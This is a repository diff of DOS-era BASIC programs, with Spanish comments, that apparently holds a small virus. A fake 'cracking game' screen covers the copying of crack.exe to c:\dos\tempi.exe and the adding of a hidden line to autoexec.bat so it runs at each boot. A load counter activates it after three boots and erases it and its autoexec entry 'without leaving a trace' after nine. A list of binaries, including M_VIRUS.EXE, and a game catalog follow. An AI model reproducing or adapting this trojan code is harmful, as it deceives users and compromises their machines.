OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1
WRITE #1, carga$
CLOSE
' El virus se activara cuando el contador sea mayor de 3 y se
'auto-eliminara cuando alcance un n<>mero m<>ximo de 9 cargas.
IF VAL(carga$) > 3 THEN virus = 1
IF VAL(carga$) >= 9 THEN
borradelauto
KILL "cargas.dat"
KILL "c:\dos\tempi.bin"
KILL "c:\dos\TEMPI.exe"
END IF
END SUB
SUB borradelauto
'El proceso de borrado es complicado, hay que modificar apartir de las
'secuencias de grabado de datos las entradas o bytes donde se encuentra
'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto.
OPEN "c:\autoexec.bat" FOR INPUT AS #1
Q = 0
DO
Q = Q + 1
LINE INPUT #1, fc$(Q)
IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1
IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar
LOOP WHILE NOT EOF(1)
CLOSE #1
GOTO finh
grabar:
c = Q - 22
SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul"
SHELL "del c:\autoexec.bat >nul"
OPEN "c:\autoexec.bat" FOR APPEND AS #2
c = Q - 22
FOR Q = 1 TO c
PRINT #2, fc$(Q)
NEXT Q
CLOSE #2
finh:
END SUB
SUB copiarac (est)
' Ahora deber<65>a auto-copiarse este programa a la unidad C
' e instalarse, en el archivo autoexec.bat
CLS
bit = 0
LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..."
LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::"
COLOR 12
SHELL "copy crack.exe c:\dos\tempi.exe >nul"
SHELL "copy crack.dat c:\dos\tempi.bin >nul"
SHELL "c:\dos\attrib -r c:\autoexec.bat >nul"
OPEN "c:\autoexec.bat" FOR APPEND AS #1
FOR a = c TO c + 20
PRINT #1, CHR$(13)
NEXT a
PRINT #1, "@echo off"
PRINT #1, "c:\dos\TEMPI"
CLOSE #1
COLOR 7
IF est = 1 THEN est = 1
END SUB
DEFINT A-Z
'GetString$:
' Given a row and col, and an initial string, edit a string
' VIS is the length of the visible field of entry
' MAX is the maximum number of characters allowed in the string
'
'
FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
PRINT start$;
IF Curr$ = CHR$(8) THEN Curr$ = ""
LOCATE , , 1
finished = FALSE
DO
GOSUB GetStringShowText2
GOSUB GetStringGetKey2
IF LEN(Kbd$) > 1 THEN
finished = TRUE
GetString2$ = Kbd$
ELSE
SELECT CASE Kbd$
CASE CHR$(13), CHR$(27), CHR$(9)
finished = TRUE
GetString2$ = Kbd$
CASE CHR$(8)
IF Curr$ <> "" THEN
Curr$ = LEFT$(Curr$, LEN(Curr$) - 1)
IF LEN(Curr$) >= 0 THEN
LOCATE CSRLIN, POS(0) - 1: PRINT " ";
IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1
END IF
END IF
CASE " " TO "}"
IF LEN(Curr$) < Max THEN
Curr$ = Curr$ + Kbd$
ELSE
BEEP
END IF
CASE ELSE
BEEP
END SELECT
END IF
LOOP UNTIL finished
end$ = Curr$
LOCATE , , 0
EXIT FUNCTION
GetStringShowText2:
IF LEN(Curr$) > Vis THEN
PRINT RIGHT$(Curr$, Vis);
ELSE
PRINT RIGHT$(Curr$, 1);
END IF
RETURN
GetStringGetKey2:
Kbd$ = ""
WHILE Kbd$ = ""
Kbd$ = INKEY$
WEND
RETURN
END FUNCTION

BIN
EXE/BD.EXE Normal file

Binary file not shown.

BIN
EXE/CATALOG2.EXE Normal file

Binary file not shown.

0
EXE/COPY-1.DAT Normal file
View File

0
EXE/COPY-2.DAT Normal file
View File

0
EXE/COPY-3.DAT Normal file
View File

BIN
EXE/CRACK.DAT Normal file

Binary file not shown.

BIN
EXE/CRACK.EXE Normal file

Binary file not shown.

0
EXE/FICH1.DAT Normal file
View File

0
EXE/FICH2.DAT Normal file
View File

0
EXE/FICH3.DAT Normal file
View File

BIN
EXE/HORA.EXE Normal file

Binary file not shown.

BIN
EXE/HORA2.EXE Normal file

Binary file not shown.

1
EXE/M_VIR.INI Normal file
View File

@ -0,0 +1 @@
2

BIN
EXE/M_VIRUS.EXE Normal file

Binary file not shown.

BIN
EXE/PIC.EXE Normal file

Binary file not shown.

BIN
EXE/PRECATA2.EXE Normal file

Binary file not shown.

BIN
EXE/PROMPT-C.EXE Normal file

Binary file not shown.

BIN
EXE/Q2.EXE Normal file

Binary file not shown.

BIN
EXE/catalog/CGA.COM Normal file

Binary file not shown.

1
EXE/catalog/COPY Normal file
View File

@ -0,0 +1 @@
JCHESS MASTJMASTER CHEJS.CIRCULATJPAPERBOY JGEOGRAFIA JKARATEKA JT. NINJA JPINBALL JSPACE-ACE JFLY JCATS JMARCIANO JTETRIS JBLOCK-OUT JMAD-MIX IIJULISES JO. WOLF JFUTBOL JMICHEL JGRAN PRIX JSTREET BALJTEST DRIVEJD. BUBBLE JXENON II JBILLAR JRICK D. JLIV. SUP. JSKATE J24 J.BASICJJAMES BONDJGREEN BER.JSOL NEGRO JMACH 3 JSTARDUST JTRIVIAL P.JSTART WARSJPREISTORIKJCAPITAN C.JLEMMINGS JMETAL MUT.JCASTLE MASJSOKOBAN JINDY JBATMAN JF-15 II JPRINCE P. JWRATH DEM.JTERMINATORJSIMPSONS JMENACE JGOLDEN AXEJINDIANAP. JXONIX JSPIDERMAN JAMAZING JBUDOKAN JDOUBLE DRAJ GPRINT MAS.GNEW MASTERGPAINT TOOLG G G G G G G G G G G G G G G G G G G PWRITING A.PAUTOTIP PNEWS P P P P P P P P P P P P P P P P P P P P P AVIERNES 13A RIBERSTOK RC. FAMILIARPERSONAL R DD. WRITINGDTRASLATOR D ODISKCOPY IOCOPY II PCOCOPY WRITEOXCOPY O UCOMPACTADOUPCTOOLS UVARIOS U G G G G G LBASIC LRUN L LGWBASIC LBASRUN LBASIC2 L CCONSULTAR CLISTA CESTERNA CA CFICHERO C ECGA EEMU1 EEMU2 EEMU3 EEMU4 EEMU EEMU0 E UFRENO U UHABILYTI U UCALCULATORU G G Mv 3.2 M JGHOST J UCATALOGO U JWORLD CLASJGAUNTLET 2JSIMCITY J GBANNER M. G PRUEBA L L L L LGW L EEMU EEMU0J J UCurso Pc U TDIGITAL TBOX TCURSO 1a3 T ERIA NG Mv 3.

BIN
EXE/catalog/DEUDAS.BAS Normal file

Binary file not shown.

1
EXE/catalog/DEUDAS.DAT Normal file
View File

@ -0,0 +1 @@

BIN
EXE/catalog/GW.EXE Normal file

Binary file not shown.

BIN
EXE/catalog/LISTA.BAS Normal file

Binary file not shown.

2
EXE/catalog/LISTA.BAT Normal file
View File

@ -0,0 +1,2 @@
SLIDE PRESENT
GW MAINMENU

BIN
EXE/catalog/MAINMENU.BAS Normal file

Binary file not shown.

BIN
EXE/catalog/MENSAJES Normal file

Binary file not shown.

6
EXE/catalog/PRESENT Normal file
View File

@ -0,0 +1,6 @@
PRESENT1 2
PRESENT2 2
PRESENT3 2
PRESENT4 2
PRESENT5 3
PAUSE

BIN
EXE/catalog/PRESENT1.TIF Normal file

Binary file not shown.

BIN
EXE/catalog/PRESENT2.TIF Normal file

Binary file not shown.

BIN
EXE/catalog/PRESENT3.TIF Normal file

Binary file not shown.

BIN
EXE/catalog/PRESENT4.TIF Normal file

Binary file not shown.

BIN
EXE/catalog/PRESENT5.TIF Normal file

Binary file not shown.

BIN
EXE/catalog/SLIDE.EXE Normal file

Binary file not shown.

BIN
NEW/DAT_REF.BAS Normal file

Binary file not shown.

3919
NEW/JD1.BAS Normal file

File diff suppressed because it is too large Load Diff

BIN
NEW/PROVEED.BAS Normal file

Binary file not shown.

BIN
NEW/REF#.BAS Normal file

Binary file not shown.

1929
NEW/TPV.BAS Normal file

File diff suppressed because it is too large Load Diff